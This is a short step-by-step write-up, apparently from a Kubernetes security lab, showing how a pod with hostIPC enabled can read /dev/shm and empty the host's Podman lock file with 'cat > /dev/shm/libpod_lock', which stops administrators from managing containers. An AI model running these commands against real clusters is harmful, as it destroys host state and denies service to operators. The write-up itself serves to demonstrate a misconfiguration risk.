**Attack#7 hostIPC - DoS for admin manage containers**

Related configurations: [Attack#7.json](https://drive.google.com/open?id=1oBFqAEovo4nm0Foeu_npojfi8E16RFJg)

1. Apply all insecure configs in Attack#7.json.
2. kubectl exec -it checkoutservice- -n default -- sh
3. The attacker can inspect /dev/shm/ to looking for any files in this shared memory location with **hostIPC = true**(**#1**)
   1. Ls -la /dev/shm



* 1. Here the attacker can see libpod\_lock file under shared memory location which is a critical file for Podman (**Podman** is used on the host for container management).

1. Attacker can modify or lock libpod\_lock resources with root permission (**#2-5**)
   1. Empty libpod\_lock: cat > /dev/shm/libpod\_lock
2. By corrupting libpod\_lock, the attacker can effectively create a Denial of Service (DoS) scenario, preventing administrators from using Podman to manage containers.
   1. Go to host container: minikube ssh
   2. podman ps

